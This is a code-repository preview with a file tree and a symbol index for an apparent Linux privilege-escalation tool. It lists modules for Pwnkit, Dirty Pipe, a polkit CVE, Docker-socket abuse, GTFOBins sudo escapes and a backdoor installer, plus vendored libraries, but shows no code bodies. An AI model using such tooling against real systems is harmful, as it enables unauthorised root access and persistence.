│ │ │ ├── zsysctl_openbsd_mips64.go
│ │ │ ├── zsysnum_darwin_amd64.go
│ │ │ ├── zsysnum_darwin_arm64.go
│ │ │ ├── zsysnum_dragonfly_amd64.go
│ │ │ ├── zsysnum_freebsd_386.go
│ │ │ ├── zsysnum_freebsd_amd64.go
│ │ │ ├── zsysnum_freebsd_arm.go
│ │ │ ├── zsysnum_freebsd_arm64.go
│ │ │ ├── zsysnum_linux_386.go
│ │ │ ├── zsysnum_linux_amd64.go
│ │ │ ├── zsysnum_linux_arm.go
│ │ │ ├── zsysnum_linux_arm64.go
│ │ │ ├── zsysnum_linux_loong64.go
│ │ │ ├── zsysnum_linux_mips.go
│ │ │ ├── zsysnum_linux_mips64.go
│ │ │ ├── zsysnum_linux_mips64le.go
│ │ │ ├── zsysnum_linux_mipsle.go
│ │ │ ├── zsysnum_linux_ppc.go
│ │ │ ├── zsysnum_linux_ppc64.go
│ │ │ ├── zsysnum_linux_ppc64le.go
│ │ │ ├── zsysnum_linux_riscv64.go
│ │ │ ├── zsysnum_linux_s390x.go
│ │ │ ├── zsysnum_linux_sparc64.go
│ │ │ ├── zsysnum_netbsd_386.go
│ │ │ ├── zsysnum_netbsd_amd64.go
│ │ │ ├── zsysnum_netbsd_arm.go
│ │ │ ├── zsysnum_netbsd_arm64.go
│ │ │ ├── zsysnum_openbsd_386.go
│ │ │ ├── zsysnum_openbsd_amd64.go
│ │ │ ├── zsysnum_openbsd_arm.go
│ │ │ ├── zsysnum_openbsd_arm64.go
│ │ │ ├── zsysnum_openbsd_mips64.go
│ │ │ ├── zsysnum_zos_s390x.go
│ │ │ ├── ztypes_aix_ppc.go
│ │ │ ├── ztypes_aix_ppc64.go
│ │ │ ├── ztypes_darwin_amd64.go
│ │ │ ├── ztypes_darwin_arm64.go
│ │ │ ├── ztypes_dragonfly_amd64.go
│ │ │ ├── ztypes_freebsd_386.go
│ │ │ ├── ztypes_freebsd_amd64.go
│ │ │ ├── ztypes_freebsd_arm.go
│ │ │ ├── ztypes_freebsd_arm64.go
│ │ │ ├── ztypes_illumos_amd64.go
│ │ │ ├── ztypes_linux.go
│ │ │ ├── ztypes_linux_386.go
│ │ │ ├── ztypes_linux_amd64.go
│ │ │ ├── ztypes_linux_arm.go
│ │ │ ├── ztypes_linux_arm64.go
│ │ │ ├── ztypes_linux_loong64.go
│ │ │ ├── ztypes_linux_mips.go
│ │ │ ├── ztypes_linux_mips64.go
│ │ │ ├── ztypes_linux_mips64le.go
│ │ │ ├── ztypes_linux_mipsle.go
│ │ │ ├── ztypes_linux_ppc.go
│ │ │ ├── ztypes_linux_ppc64.go
│ │ │ ├── ztypes_linux_ppc64le.go
│ │ │ ├── ztypes_linux_riscv64.go
│ │ │ ├── ztypes_linux_s390x.go
│ │ │ ├── ztypes_linux_sparc64.go
│ │ │ ├── ztypes_netbsd_386.go
│ │ │ ├── ztypes_netbsd_amd64.go
│ │ │ ├── ztypes_netbsd_arm.go
│ │ │ ├── ztypes_netbsd_arm64.go
│ │ │ ├── ztypes_openbsd_386.go
│ │ │ ├── ztypes_openbsd_amd64.go
│ │ │ ├── ztypes_openbsd_arm.go
│ │ │ ├── ztypes_openbsd_arm64.go
│ │ │ ├── ztypes_openbsd_mips64.go
│ │ │ ├── ztypes_solaris_amd64.go
│ │ │ └── ztypes_zos_s390x.go
│ │ └── windows/
│ │ ├── aliases.go
│ │ ├── dll_windows.go
│ │ ├── empty.s
│ │ ├── env_windows.go
│ │ ├── eventlog.go
│ │ ├── exec_windows.go
│ │ ├── memory_windows.go
│ │ ├── mkerrors.bash
│ │ ├── mkknownfolderids.bash
│ │ ├── mksyscall.go
│ │ ├── race.go
│ │ ├── race0.go
│ │ ├── security_windows.go
│ │ ├── service.go
│ │ ├── setupapi_windows.go
│ │ ├── str.go
│ │ ├── syscall.go
│ │ ├── syscall_windows.go
│ │ ├── types_windows.go
│ │ ├── types_windows_386.go
│ │ ├── types_windows_amd64.go
│ │ ├── types_windows_arm.go
│ │ ├── types_windows_arm64.go
│ │ ├── zerrors_windows.go
│ │ ├── zknownfolderids_windows.go
│ │ └── zsyscall_windows.go
│ └── term/
│ ├── AUTHORS
│ ├── CONTRIBUTING.md
│ ├── CONTRIBUTORS
│ ├── LICENSE
│ ├── PATENTS
│ ├── README.md
│ ├── codereview.cfg
│ ├── term.go
│ ├── term_plan9.go
│ ├── term_unix.go
│ ├── term_unix_bsd.go
│ ├── term_unix_other.go
│ ├── term_unsupported.go
│ ├── term_windows.go
│ └── terminal.go
└── modules.txt
Showing preview only (7,339K chars total). Download the full file or copy to clipboard to get everything.
SYMBOL INDEX (86415 symbols across 447 files)
FILE: cmd/pack/main.go
constant outputDir (line 12) | outputDir = "./pkg/exploits/cve20214034"
function main (line 14) | func main() {
function buildPwnkitSharedObjects (line 20) | func buildPwnkitSharedObjects() error {
FILE: cmd/traitor/main.go
function main (line 7) | func main() {
FILE: internal/cmd/backdoor.go
function init (line 12) | func init() {
FILE: internal/cmd/list.go
function init (line 10) | func init() {
FILE: internal/cmd/root.go
function init (line 24) | func init() {
function shouldSkip (line 108) | func shouldSkip(id string) bool {
function Execute (line 117) | func Execute() {
FILE: internal/cmd/setuid.go
function init (line 16) | func init() {
function fail (line 74) | func fail(format string, args ...interface{}) {
FILE: internal/pipe/pipe.go
type LockablePipe (line 11) | type LockablePipe struct
method Flush (line 23) | func (l *LockablePipe) Flush() []byte {
method WaitForString (line 31) | func (l *LockablePipe) WaitForString(expected string, until time.Durat...
method Read (line 69) | func (l *LockablePipe) Read(p []byte) (n int, err error) {
function NewLockable (line 17) | func NewLockable(input io.Reader) *LockablePipe {
FILE: pkg/backdoor/traitor.go
type Metadata (line 15) | type Metadata struct
function findWritableDirectory (line 30) | func findWritableDirectory() (string, error) {
function Uninstall (line 50) | func Uninstall(path string) error {
function Install (line 54) | func Install() (*string, error) {
function InstallToPath (line 82) | func InstallToPath(path string) (*string, error) {
FILE: pkg/exploits/all.go
function init (line 10) | func init() {
function init (line 14) | func init() {
function init (line 18) | func init() {
function init (line 22) | func init() {
FILE: pkg/exploits/cve20213560/exploit.go
type exploit (line 26) | type exploit struct
method isVulnerableDebian (line 36) | func (v *exploit) isVulnerableDebian(s *state.State) bool {
method isVulnerableOther (line 71) | func (v *exploit) isVulnerableOther() bool {
method IsVulnerable (line 97) | func (v *exploit) IsVulnerable(_ context.Context, s *state.State, log ...
method Shell (line 115) | func (v *exploit) Shell(ctx context.Context, s *state.State, log logge...
method Exploit (line 119) | func (v *exploit) Exploit(ctx context.Context, s *state.State, log log...
method createUser (line 229) | func (v *exploit) createUser(log logger.Logger) (*user.User, error) {
method setPassword (line 266) | func (v *exploit) setPassword(u *user.User, log logger.Logger) string {
method timeDbusCommand (line 299) | func (v *exploit) timeDbusCommand(args []string) time.Duration {
method installPackage (line 313) | func (v *exploit) installPackage(name string, s *state.State, log logg...
function New (line 29) | func New() *exploit {
FILE: pkg/exploits/cve20214034/exploit.go
type cve20214034Exploit (line 22) | type cve20214034Exploit struct
method IsVulnerable (line 33) | func (v *cve20214034Exploit) IsVulnerable(ctx context.Context, s *stat...
method Shell (line 68) | func (v *cve20214034Exploit) Shell(ctx context.Context, s *state.State...
method writeSharedObject (line 72) | func (v *cve20214034Exploit) writeSharedObject(path string, aggro bool...
method Exploit (line 118) | func (v *cve20214034Exploit) Exploit(ctx context.Context, s *state.Sta...
function New (line 26) | func New() *cve20214034Exploit {
FILE: pkg/exploits/cve20220847/exploit.go
type cve20220847Exploit (line 21) | type cve20220847Exploit struct
method IsVulnerable (line 33) | func (v *cve20220847Exploit) IsVulnerable(ctx context.Context, s *stat...
method Shell (line 79) | func (v *cve20220847Exploit) Shell(ctx context.Context, s *state.State...
method Exploit (line 83) | func (v *cve20220847Exploit) Exploit(ctx context.Context, s *state.Sta...
method writeToFile (line 114) | func (v *cve20220847Exploit) writeToFile(path string, offset int64, da...
method dirtyThatPipe (line 156) | func (v *cve20220847Exploit) dirtyThatPipe() (r *os.File, w *os.File, ...
function New (line 26) | func New() *cve20220847Exploit {
FILE: pkg/exploits/dockersock/exploit.go
type writableDockerSocketExploit (line 29) | type writableDockerSocketExploit struct
method IsVulnerable (line 49) | func (v *writableDockerSocketExploit) IsVulnerable(_ context.Context, ...
method Shell (line 58) | func (v *writableDockerSocketExploit) Shell(ctx context.Context, s *st...
method deleteContainer (line 62) | func (v *writableDockerSocketExploit) deleteContainer(id string) error {
method deleteImage (line 81) | func (v *writableDockerSocketExploit) deleteImage(name string) error {
method Exploit (line 100) | func (v *writableDockerSocketExploit) Exploit(ctx context.Context, s *...
method buildTarball (line 149) | func (v *writableDockerSocketExploit) buildTarball(writer io.Writer) e...
method listLocalImages (line 176) | func (v *writableDockerSocketExploit) listLocalImages() ([]string, err...
method exploitWithImage (line 209) | func (v *writableDockerSocketExploit) exploitWithImage(image string, r...
function New (line 34) | func New() *writableDockerSocketExploit {
FILE: pkg/exploits/gtfobins.go
type gtfobinsExploit (line 24) | type gtfobinsExploit struct
method IsVulnerable (line 879) | func (v *gtfobinsExploit) IsVulnerable(_ context.Context, state *state...
method Shell (line 898) | func (v *gtfobinsExploit) Shell(ctx context.Context, s *state.State, l...
method Exploit (line 902) | func (v *gtfobinsExploit) Exploit(ctx context.Context, s *state.State,...
function NewGTFOBinsExploit (line 33) | func NewGTFOBinsExploit(binaryName string, inputs []string, args []strin...
function registerGTFOBinsExploit (line 43) | func registerGTFOBinsExploit(binaryName string, args []string, inputs []...
function init (line 51) | func init() {
FILE: pkg/exploits/registration.go
type Speed (line 3) | type Speed
constant SpeedAny (line 6) | SpeedAny Speed = iota
constant SpeedSlow (line 7) | SpeedSlow
constant SpeedFast (line 8) | SpeedFast
type Registration (line 11) | type Registration struct
function Get (line 19) | func Get(speed Speed) []Registration {
function register (line 29) | func register(name string, speed Speed, vulnerability Vulnerability) {
FILE: pkg/exploits/types.go
type Vulnerability (line 13) | type Vulnerability interface
type Exploit (line 17) | type Exploit interface
type ShellDropper (line 21) | type ShellDropper interface
type Disclosure (line 25) | type Disclosure interface
FILE: pkg/logger/logger.go
type Logger (line 9) | type Logger struct
method Silenced (line 18) | func (logger Logger) Silenced() Logger {
method WithTitle (line 23) | func (logger Logger) WithTitle(title string) Logger {
method Printf (line 28) | func (logger Logger) Printf(format string, args ...interface{}) {
function New (line 14) | func New() Logger {
FILE: pkg/payloads/payloads.go
type Payload (line 3) | type Payload
FILE: pkg/random/filename.go
function init (line 8) | func init() {
function Filename (line 14) | func Filename() string {
function Image (line 24) | func Image() string {
FILE: pkg/shell/password.go
function WithPassword (line 18) | func WithPassword(username, password string, log logger.Logger) error {
FILE: pkg/state/distro.go
type DistributionID (line 8) | type DistributionID
constant UnknownLinux (line 11) | UnknownLinux DistributionID = "linux"
constant Ubuntu (line 12) | Ubuntu DistributionID = "ubuntu"
constant Debian (line 13) | Debian DistributionID = "debian"
constant Arch (line 14) | Arch DistributionID = "arch"
constant RHEL (line 15) | RHEL DistributionID = "rhel"
constant Fedora (line 16) | Fedora DistributionID = "fedora"
constant CentOS (line 17) | CentOS DistributionID = "centos"
constant Kali (line 18) | Kali DistributionID = "kali"
constant Parrot (line 19) | Parrot DistributionID = "parrot"
constant Alpine (line 20) | Alpine DistributionID = "alpine"
constant OpenSUSE (line 21) | OpenSUSE DistributionID = "opensuse"
method processDistro (line 24) | func (s *State) processDistro() {
method IsDebianLike (line 40) | func (s *State) IsDebianLike() bool {
FILE: pkg/state/kernel.go
function kernelVersion (line 5) | func kernelVersion() string {
FILE: pkg/state/packages.go
method IsPackageInstalled (line 5) | func (s *State) IsPackageInstalled(name string) bool {
FILE: pkg/state/state.go
type State (line 5) | type State struct
method Assess (line 18) | func (s *State) Assess() {
function New (line 14) | func New() *State {
FILE: pkg/state/sudoers.go
method processSudoers (line 11) | func (s *State) processSudoers(hostname string) {
type SudoEntry (line 42) | type SudoEntry struct
type Sudoers (line 54) | type Sudoers
method GetEntryForBinary (line 56) | func (s Sudoers) GetEntryForBinary(binary string, hasPasswd bool) (*Su...
function parseSudoLine (line 67) | func parseSudoLine(line string, hostname string) (*SudoEntry, error) {
FILE: vendor/github.com/creack/pty/doc.go
function Open (line 14) | func Open() (pty, tty *os.File, err error) {
FILE: vendor/github.com/creack/pty/ioctl.go
constant TIOCGWINSZ (line 9) | TIOCGWINSZ = syscall.TIOCGWINSZ
constant TIOCSWINSZ (line 10) | TIOCSWINSZ = syscall.TIOCSWINSZ
function ioctl (line 13) | func ioctl(fd, cmd, ptr uintptr) error {
FILE: vendor/github.com/creack/pty/ioctl_bsd.go
constant _IOC_VOID (line 8) | _IOC_VOID uintptr = 0x20000000
constant _IOC_OUT (line 9) | _IOC_OUT uintptr = 0x40000000
constant _IOC_IN (line 10) | _IOC_IN uintptr = 0x80000000
constant _IOC_IN_OUT (line 11) | _IOC_IN_OUT uintptr = _IOC_OUT | _IOC_IN
constant _IOC_DIRMASK (line 12) | _IOC_DIRMASK = _IOC_VOID | _IOC_OUT | _IOC_IN
constant _IOC_PARAM_SHIFT (line 14) | _IOC_PARAM_SHIFT = 13
constant _IOC_PARAM_MASK (line 15) | _IOC_PARAM_MASK = (1 << _IOC_PARAM_SHIFT) - 1
function _IOC_PARM_LEN (line 18) | func _IOC_PARM_LEN(ioctl uintptr) uintptr {
function _IOC (line 22) | func _IOC(inout uintptr, group byte, ioctl_num uintptr, param_len uintpt...
function _IO (line 26) | func _IO(group byte, ioctl_num uintptr) uintptr {
function _IOR (line 30) | func _IOR(group byte, ioctl_num uintptr, param_len uintptr) uintptr {
function _IOW (line 34) | func _IOW(group byte, ioctl_num uintptr, param_len uintptr) uintptr {
function _IOWR (line 38) | func _IOWR(group byte, ioctl_num uintptr, param_len uintptr) uintptr {
FILE: vendor/github.com/creack/pty/ioctl_solaris.go
constant I_PUSH (line 17) | I_PUSH = uintptr((int32('S')<<8 | 002))
constant I_STR (line 18) | I_STR = uintptr((int32('S')<<8 | 010))
constant I_FIND (line 19) | I_FIND = uintptr((int32('S')<<8 | 013))
constant ISPTM (line 22) | ISPTM = (int32('P') << 8) | 1
constant UNLKPT (line 23) | UNLKPT = (int32('P') << 8) | 2
constant PTSSTTY (line 24) | PTSSTTY = (int32('P') << 8) | 3
constant ZONEPT (line 25) | ZONEPT = (int32('P') << 8) | 4
constant OWNERPT (line 26) | OWNERPT = (int32('P') << 8) | 5
constant TIOCSWINSZ (line 29) | TIOCSWINSZ = (uint32('T') << 8) | 103
constant TIOCGWINSZ (line 30) | TIOCGWINSZ = (uint32('T') << 8) | 104
type strioctl (line 33) | type strioctl struct
function sysvicall6 (line 41) | func sysvicall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uin...
function ioctl (line 43) | func ioctl(fd, cmd, ptr uintptr) error {
FILE: vendor/github.com/creack/pty/ioctl_unsupported.go
constant TIOCGWINSZ (line 7) | TIOCGWINSZ = 0
constant TIOCSWINSZ (line 8) | TIOCSWINSZ = 0
function ioctl (line 11) | func ioctl(fd, cmd, ptr uintptr) error {
FILE: vendor/github.com/creack/pty/pty_darwin.go
function open (line 13) | func open() (pty, tty *os.File, err error) {
function ptsname (line 46) | func ptsname(f *os.File) (string, error) {
function grantpt (line 62) | func grantpt(f *os.File) error {
function unlockpt (line 66) | func unlockpt(f *os.File) error {
FILE: vendor/github.com/creack/pty/pty_dragonfly.go
function open (line 15) | func open() (pty, tty *os.File, err error) {
function grantpt (line 47) | func grantpt(f *os.File) error {
function unlockpt (line 52) | func unlockpt(f *os.File) error {
function isptmaster (line 57) | func isptmaster(fd uintptr) (bool, error) {
function ptsname (line 67) | func ptsname(f *os.File) (string, error) {
FILE: vendor/github.com/creack/pty/pty_freebsd.go
function posixOpenpt (line 13) | func posixOpenpt(oflag int) (fd int, err error) {
function open (line 22) | func open() (pty, tty *os.File, err error) {
function isptmaster (line 47) | func isptmaster(fd uintptr) (bool, error) {
function ptsname (line 57) | func ptsname(f *os.File) (string, error) {
FILE: vendor/github.com/creack/pty/pty_linux.go
function open (line 13) | func open() (pty, tty *os.File, err error) {
function ptsname (line 41) | func ptsname(f *os.File) (string, error) {
function unlockpt (line 50) | func unlockpt(f *os.File) error {
FILE: vendor/github.com/creack/pty/pty_netbsd.go
function open (line 13) | func open() (pty, tty *os.File, err error) {
function ptsname (line 43) | func ptsname(f *os.File) (string, error) {
function grantpt (line 63) | func grantpt(f *os.File) error {
FILE: vendor/github.com/creack/pty/pty_openbsd.go
function open (line 12) | func open() (pty, tty *os.File, err error) {
FILE: vendor/github.com/creack/pty/pty_solaris.go
function open (line 18) | func open() (pty, tty *os.File, err error) {
function ptsname (line 67) | func ptsname(f *os.File) (string, error) {
function unlockpt (line 80) | func unlockpt(f *os.File) error {
function minor (line 90) | func minor(x uint64) uint64 { return x & 0377 }
function ptsdev (line 92) | func ptsdev(fd uintptr) (uint64, error) {
type ptOwn (line 110) | type ptOwn struct
function grantpt (line 115) | func grantpt(f *os.File) error {
function streamsPush (line 137) | func streamsPush(f *os.File, mod string) error {
FILE: vendor/github.com/creack/pty/pty_unsupported.go
function open (line 10) | func open() (pty, tty *os.File, err error) {
FILE: vendor/github.com/creack/pty/run.go
function Start (line 14) | func Start(cmd *exec.Cmd) (*os.File, error) {
function StartWithAttrs (line 27) | func StartWithAttrs(c *exec.Cmd, sz *Winsize, attrs *syscall.SysProcAttr...
FILE: vendor/github.com/creack/pty/start.go
function StartWithSize (line 18) | func StartWithSize(cmd *exec.Cmd, ws *Winsize) (*os.File, error) {
FILE: vendor/github.com/creack/pty/start_windows.go
function StartWithSize (line 17) | func StartWithSize(cmd *exec.Cmd, ws *Winsize) (*os.File, error) {
FILE: vendor/github.com/creack/pty/winsize.go
function InheritSize (line 8) | func InheritSize(pty, tty *os.File) error {
function Getsize (line 21) | func Getsize(t *os.File) (rows, cols int, err error) {
FILE: vendor/github.com/creack/pty/winsize_unix.go
type Winsize (line 13) | type Winsize struct
function Setsize (line 21) | func Setsize(t *os.File, ws *Winsize) error {
function GetsizeFull (line 27) | func GetsizeFull(t *os.File) (size *Winsize, err error) {
FILE: vendor/github.com/creack/pty/winsize_unsupported.go
type Winsize (line 11) | type Winsize struct
function Setsize (line 16) | func Setsize(*os.File, *Winsize) error {
function GetsizeFull (line 21) | func GetsizeFull(*os.File) (*Winsize, error) {
FILE: vendor/github.com/creack/pty/ztypes_386.go
type _C_int (line 10) | type _C_int
type _C_uint (line 11) | type _C_uint
FILE: vendor/github.com/creack/pty/ztypes_amd64.go
type _C_int (line 10) | type _C_int
type _C_uint (line 11) | type _C_uint
FILE: vendor/github.com/creack/pty/ztypes_arm.go
type _C_int (line 10) | type _C_int
type _C_uint (line 11) | type _C_uint
FILE: vendor/github.com/creack/pty/ztypes_arm64.go
type _C_int (line 10) | type _C_int
type _C_uint (line 11) | type _C_uint
FILE: vendor/github.com/creack/pty/ztypes_dragonfly_amd64.go
constant _C_SPECNAMELEN (line 10) | _C_SPECNAMELEN = 0x3f
type fiodgnameArg (line 13) | type fiodgnameArg struct
FILE: vendor/github.com/creack/pty/ztypes_freebsd_386.go
constant _C_SPECNAMELEN (line 10) | _C_SPECNAMELEN = 0x3f
type fiodgnameArg (line 13) | type fiodgnameArg struct
FILE: vendor/github.com/creack/pty/ztypes_freebsd_amd64.go
constant _C_SPECNAMELEN (line 10) | _C_SPECNAMELEN = 0x3f
type fiodgnameArg (line 13) | type fiodgnameArg struct
FILE: vendor/github.com/creack/pty/ztypes_freebsd_arm.go
constant _C_SPECNAMELEN (line 10) | _C_SPECNAMELEN = 0x3f
type fiodgnameArg (line 13) | type fiodgnameArg struct
FILE: vendor/github.com/creack/pty/ztypes_freebsd_arm64.go
constant _C_SPECNAMELEN (line 10) | _C_SPECNAMELEN = 0xff
type fiodgnameArg (line 13) | type fiodgnameArg struct
FILE: vendor/github.com/creack/pty/ztypes_freebsd_ppc64.go
constant _C_SPECNAMELEN (line 7) | _C_SPECNAMELEN = 0x3f
type fiodgnameArg (line 10) | type fiodgnameArg struct
FILE: vendor/github.com/creack/pty/ztypes_loong64.go
type _C_int (line 10) | type _C_int
type _C_uint (line 11) | type _C_uint
FILE: vendor/github.com/creack/pty/ztypes_mipsx.go
type _C_int (line 11) | type _C_int
type _C_uint (line 12) | type _C_uint
FILE: vendor/github.com/creack/pty/ztypes_netbsd_32bit_int.go
type ptmget (line 7) | type ptmget struct
FILE: vendor/github.com/creack/pty/ztypes_openbsd_32bit_int.go
type ptmget (line 7) | type ptmget struct
FILE: vendor/github.com/creack/pty/ztypes_ppc64.go
type _C_int (line 10) | type _C_int
type _C_uint (line 11) | type _C_uint
FILE: vendor/github.com/creack/pty/ztypes_ppc64le.go
type _C_int (line 10) | type _C_int
type _C_uint (line 11) | type _C_uint
FILE: vendor/github.com/creack/pty/ztypes_riscvx.go
type _C_int (line 10) | type _C_int
type _C_uint (line 11) | type _C_uint
FILE: vendor/github.com/creack/pty/ztypes_s390x.go
type _C_int (line 10) | type _C_int
type _C_uint (line 11) | type _C_uint
FILE: vendor/github.com/google/uuid/dce.go
type Domain (line 14) | type Domain
method String (line 70) | func (d Domain) String() string {
constant Person (line 18) | Person = Domain(0)
constant Group (line 19) | Group = Domain(1)
constant Org (line 20) | Org = Domain(2)
function NewDCESecurity (line 32) | func NewDCESecurity(domain Domain, id uint32) (UUID, error) {
function NewDCEPerson (line 46) | func NewDCEPerson() (UUID, error) {
function NewDCEGroup (line 54) | func NewDCEGroup() (UUID, error) {
method Domain (line 60) | func (uuid UUID) Domain() Domain {
method ID (line 66) | func (uuid UUID) ID() uint32 {
FILE: vendor/github.com/google/uuid/hash.go
function NewHash (line 27) | func NewHash(h hash.Hash, space UUID, data []byte, version int) UUID {
function NewMD5 (line 43) | func NewMD5(space UUID, data []byte) UUID {
function NewSHA1 (line 51) | func NewSHA1(space UUID, data []byte) UUID {
FILE: vendor/github.com/google/uuid/marshal.go
method MarshalText (line 10) | func (uuid UUID) MarshalText() ([]byte, error) {
method UnmarshalText (line 17) | func (uuid *UUID) UnmarshalText(data []byte) error {
method MarshalBinary (line 27) | func (uuid UUID) MarshalBinary() ([]byte, error) {
method UnmarshalBinary (line 32) | func (uuid *UUID) UnmarshalBinary(data []byte) error {
FILE: vendor/github.com/google/uuid/node.go
function NodeInterface (line 21) | func NodeInterface() string {
function SetNodeInterface (line 33) | func SetNodeInterface(name string) bool {
function setNodeInterface (line 39) | func setNodeInterface(name string) bool {
function NodeID (line 60) | func NodeID() []byte {
function SetNodeID (line 73) | func SetNodeID(id []byte) bool {
method NodeID (line 86) | func (uuid UUID) NodeID() []byte {
FILE: vendor/github.com/google/uuid/node_js.go
function getHardwareInterface (line 12) | func getHardwareInterface(name string) (string, []byte) { return "", nil }
FILE: vendor/github.com/google/uuid/node_net.go
function getHardwareInterface (line 19) | func getHardwareInterface(name string) (string, []byte) {
FILE: vendor/github.com/google/uuid/null.go
type NullUUID (line 29) | type NullUUID struct
method Scan (line 35) | func (nu *NullUUID) Scan(value interface{}) error {
method Value (line 52) | func (nu NullUUID) Value() (driver.Value, error) {
method MarshalBinary (line 61) | func (nu NullUUID) MarshalBinary() ([]byte, error) {
method UnmarshalBinary (line 70) | func (nu *NullUUID) UnmarshalBinary(data []byte) error {
method MarshalText (line 80) | func (nu NullUUID) MarshalText() ([]byte, error) {
method UnmarshalText (line 89) | func (nu *NullUUID) UnmarshalText(data []byte) error {
method MarshalJSON (line 101) | func (nu NullUUID) MarshalJSON() ([]byte, error) {
method UnmarshalJSON (line 110) | func (nu *NullUUID) UnmarshalJSON(data []byte) error {
FILE: vendor/github.com/google/uuid/sql.go
method Scan (line 15) | func (uuid *UUID) Scan(src interface{}) error {
method Value (line 57) | func (uuid UUID) Value() (driver.Value, error) {
FILE: vendor/github.com/google/uuid/time.go
type Time (line 15) | type Time
method UnixTime (line 35) | func (t Time) UnixTime() (sec, nsec int64) {
constant lillian (line 18) | lillian = 2299160
constant unix (line 19) | unix = 2440587
constant epoch (line 20) | epoch = unix - lillian
constant g1582 (line 21) | g1582 = epoch * 86400
constant g1582ns100 (line 22) | g1582ns100 = g1582 * 10000000
function GetTime (line 45) | func GetTime() (Time, uint16, error) {
function getTime (line 51) | func getTime() (Time, uint16, error) {
function ClockSequence (line 76) | func ClockSequence() int {
function clockSequence (line 82) | func clockSequence() int {
function SetClockSequence (line 91) | func SetClockSequence(seq int) {
function setClockSequence (line 97) | func setClockSequence(seq int) {
method Time (line 112) | func (uuid UUID) Time() Time {
method ClockSequence (line 121) | func (uuid UUID) ClockSequence() int {
FILE: vendor/github.com/google/uuid/util.go
function randomBits (line 12) | func randomBits(b []byte) {
function xtob (line 39) | func xtob(x1, x2 byte) (byte, bool) {
FILE: vendor/github.com/google/uuid/uuid.go
type UUID (line 20) | type UUID
method String (line 185) | func (uuid UUID) String() string {
method URN (line 193) | func (uuid UUID) URN() string {
method Variant (line 213) | func (uuid UUID) Variant() Variant {
method Version (line 227) | func (uuid UUID) Version() Version {
type Version (line 23) | type Version
method String (line 231) | func (v Version) String() string {
type Variant (line 26) | type Variant
method String (line 238) | func (v Variant) String() string {
constant Invalid (line 30) | Invalid = Variant(iota)
constant RFC4122 (line 31) | RFC4122
constant Reserved (line 32) | Reserved
constant Microsoft (line 33) | Microsoft
constant Future (line 34) | Future
constant randPoolSize (line 37) | randPoolSize = 16 * 16
type invalidLengthError (line 47) | type invalidLengthError struct
method Error (line 49) | func (err invalidLengthError) Error() string {
function IsInvalidLengthError (line 54) | func IsInvalidLengthError(err error) bool {
function Parse (line 64) | func Parse(s string) (UUID, error) {
function ParseBytes (line 115) | func ParseBytes(b []byte) (UUID, error) {
function MustParse (line 160) | func MustParse(s string) UUID {
function FromBytes (line 170) | func FromBytes(b []byte) (uuid UUID, err error) {
function Must (line 176) | func Must(uuid UUID, err error) UUID {
function encodeHex (line 200) | func encodeHex(dst []byte, uuid UUID) {
function SetRand (line 260) | func SetRand(r io.Reader) {
function EnableRandPool (line 279) | func EnableRandPool() {
function DisableRandPool (line 289) | func DisableRandPool() {
FILE: vendor/github.com/google/uuid/version1.go
function NewUUID (line 19) | func NewUUID() (UUID, error) {
FILE: vendor/github.com/google/uuid/version4.go
function New (line 13) | func New() UUID {
function NewString (line 21) | func NewString() string {
function NewRandom (line 39) | func NewRandom() (UUID, error) {
function NewRandomFromReader (line 47) | func NewRandomFromReader(r io.Reader) (UUID, error) {
function newRandomFromPool (line 58) | func newRandomFromPool() (UUID, error) {
FILE: vendor/github.com/hashicorp/go-version/constraint.go
type Constraint (line 13) | type Constraint struct
method Equals (line 20) | func (c *Constraint) Equals(con *Constraint) bool {
method Check (line 162) | func (c *Constraint) Check(v *Version) bool {
method String (line 166) | func (c *Constraint) String() string {
type Constraints (line 26) | type Constraints
method Check (line 91) | func (cs Constraints) Check(v *Version) bool {
method Equals (line 109) | func (cs Constraints) Equals(c Constraints) bool {
method Len (line 132) | func (cs Constraints) Len() int {
method Less (line 136) | func (cs Constraints) Less(i, j int) bool {
method Swap (line 147) | func (cs Constraints) Swap(i, j int) {
method String (line 152) | func (cs Constraints) String() string {
type constraintFunc (line 28) | type constraintFunc
type constraintOperation (line 32) | type constraintOperation struct
function init (line 39) | func init() {
function NewConstraint (line 65) | func NewConstraint(v string) (Constraints, error) {
function MustConstraints (line 82) | func MustConstraints(c Constraints, err error) Constraints {
function parseSingle (line 170) | func parseSingle(v string) (*Constraint, error) {
function prereleaseCheck (line 191) | func prereleaseCheck(v, c *Version) bool {
type operator (line 215) | type operator
constant equal (line 218) | equal operator = '='
constant notEqual (line 219) | notEqual operator = '≠'
constant greaterThan (line 220) | greaterThan operator = '>'
constant lessThan (line 221) | lessThan operator = '<'
constant greaterThanEqual (line 222) | greaterThanEqual operator = '≥'
constant lessThanEqual (line 223) | lessThanEqual operator = '≤'
constant pessimistic (line 224) | pessimistic operator = '~'
function constraintEqual (line 227) | func constraintEqual(v, c *Version) bool {
function constraintNotEqual (line 231) | func constraintNotEqual(v, c *Version) bool {
function constraintGreaterThan (line 235) | func constraintGreaterThan(v, c *Version) bool {
function constraintLessThan (line 239) | func constraintLessThan(v, c *Version) bool {
function constraintGreaterThanEqual (line 243) | func constraintGreaterThanEqual(v, c *Version) bool {
function constraintLessThanEqual (line 247) | func constraintLessThanEqual(v, c *Version) bool {
function constraintPessimistic (line 251) | func constraintPessimistic(v, c *Version) bool {
FILE: vendor/github.com/hashicorp/go-version/version.go
constant VersionRegexpRaw (line 21) | VersionRegexpRaw string = `v?([0-9]+(\.[0-9]+)*?)` +
constant SemverRegexpRaw (line 27) | SemverRegexpRaw string = `v?([0-9]+(\.[0-9]+)*?)` +
type Version (line 34) | type Version struct
method Compare (line 114) | func (v *Version) Compare(other *Version) int {
method Core (line 281) | func (v *Version) Core() *Version {
method Equal (line 288) | func (v *Version) Equal(o *Version) bool {
method GreaterThan (line 297) | func (v *Version) GreaterThan(o *Version) bool {
method GreaterThanOrEqual (line 302) | func (v *Version) GreaterThanOrEqual(o *Version) bool {
method LessThan (line 307) | func (v *Version) LessThan(o *Version) bool {
method LessThanOrEqual (line 312) | func (v *Version) LessThanOrEqual(o *Version) bool {
method Metadata (line 321) | func (v *Version) Metadata() string {
method Prerelease (line 331) | func (v *Version) Prerelease() string {
method Segments (line 340) | func (v *Version) Segments() []int {
method Segments64 (line 353) | func (v *Version) Segments64() []int64 {
method String (line 367) | func (v *Version) String() string {
method Original (line 388) | func (v *Version) Original() string {
method UnmarshalText (line 393) | func (v *Version) UnmarshalText(b []byte) error {
method MarshalText (line 405) | func (v *Version) MarshalText() ([]byte, error) {
function init (line 42) | func init() {
function NewVersion (line 49) | func NewVersion(v string) (*Version, error) {
